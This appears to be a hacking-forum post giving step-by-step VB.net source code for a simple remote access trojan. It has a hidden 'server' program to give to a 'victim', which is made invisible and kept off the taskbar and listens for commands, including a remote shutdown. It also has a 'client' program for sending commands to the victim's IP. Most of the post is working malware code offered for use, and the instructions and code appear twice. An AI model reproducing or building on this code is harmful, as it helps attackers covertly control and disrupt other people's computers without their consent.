[Source Code]RAT Client/Server
[Source Code]RAT Client/Server
Server
This is the file you will give to your victim.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Step 1: If not already installed then install VB.net(2008 or 2010 both work)
Step 2: Create A Project Called "RAT Server"
Step 3: In form settings change the following: Set the foll form opacity at 0% to make it invisible to your victim. Show in task bar = false
Step 4: Double Click the form, then delete all coding you see and insert the following:
Now the messagebox.show("stri") shows whatever info you send to them, Specifically "stri" is the data that you send to them. You can modify this for "malicious purposes" such as the following code:
That says if you send "Shutdown" to them their computer will turn off. You need to have some VB experience to use this.
Client
This is the file you will use to send commands to your victims.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Step 1: If not already installed then install VB.net(2008 or 2010 both work)
Step 2: Create a project called "RAT Client"
Step 3: Make the form look like this:
1 label, 2 textboxes, 2 buttons(make sure your buttons/textboxes names correspond to the ones in the pic)
Step 4: Double Click the form, then delete all coding you see and insert the following:
In textbox1 type in the Victim's IP, if you do not have means of getting your Victims IP i will be posting a way with VB.net later, then hit connect. If no error shows up that means your connected. Then type your commands in textbox2 and hit send to send the command to your victim.
If you have any questions PM me, enjoy!
This is the file you will give to your victim.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Step 1: If not already installed then install VB.net(2008 or 2010 both work)
Step 2: Create A Project Called "RAT Server"
Step 3: In form settings change the following: Set the foll form opacity at 0% to make it invisible to your victim. Show in task bar = false
Step 4: Double Click the form, then delete all coding you see and insert the following:
Code:
Imports System.Net
Imports System.Net.Sockets
Imports System.IO
Imports Microsoft.Win32
Public Class Form1
Dim port As Integer = 6961
Dim sock As New TcpClient()
Dim tcpc As New TcpListener(port)
Private Sub listen()
Try
tcpc.Start()
sock = tcpc.AcceptTcpClient()
Catch ex As Exception
End Try
End Sub
Private Sub check()
If sock.Connected = True Then
sock.SendTimeout = 5000
Try
Dim nstream As NetworkStream = sock.GetStream
Dim bit(sock.ReceiveBufferSize) As Byte
nstream.Read(bit, 0, CInt(sock.ReceiveBufferSize))
Dim str As String = System.Text.Encoding.ASCII.GetString(bit)
Dim id() As String = Split(str, "*", -1, CompareMethod.Text)
If id(0) = 0 Then
Dim stri As String = id(1)
MessageBox.Show(stri)
End If
Catch ex As Exception
check()
End Try
End If
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
While sock.Connected = False
Try
listen()
Catch ex As Exception
End Try
End While
While True
check()
End While
End Sub
End Class
Code:
If stri = "Shutdown" then
shell("shutdown -s")
end if
Client
This is the file you will use to send commands to your victims.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Step 1: If not already installed then install VB.net(2008 or 2010 both work)
Step 2: Create a project called "RAT Client"
Step 3: Make the form look like this:
1 label, 2 textboxes, 2 buttons(make sure your buttons/textboxes names correspond to the ones in the pic)
Step 4: Double Click the form, then delete all coding you see and insert the following:
Code:
Imports System.Net
Imports System.Net.Sockets
Public Class Form1
Imports System.Net
Imports System.Net.Sockets
Public Class Form1
Dim sock As New TcpClient()
Dim ip As IPAddress = IPAddress.Parse("127.0.0.1")
Dim port As Integer = 6961
Private Sub connect()
ip = IPAddress.Parse(TextBox1.Text)
port = 6961
Try
sock.Connect(ip, port)
Catch ex As Exception
MsgBox("Can not connect to designated ip at this time")
End Try
End Sub
Private Sub dat(ByVal dat As String)
Dim nstream As NetworkStream = sock.GetStream()
Dim bit As [Byte]() = System.Text.Encoding.ASCII.GetBytes(dat)
nstream.Write(bit, 0, bit.Length)
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Call connect()
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
dat("0*" + TextBox2.Text)
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
End Sub
End Class
If you have any questions PM me, enjoy!
Originally Posted by pered
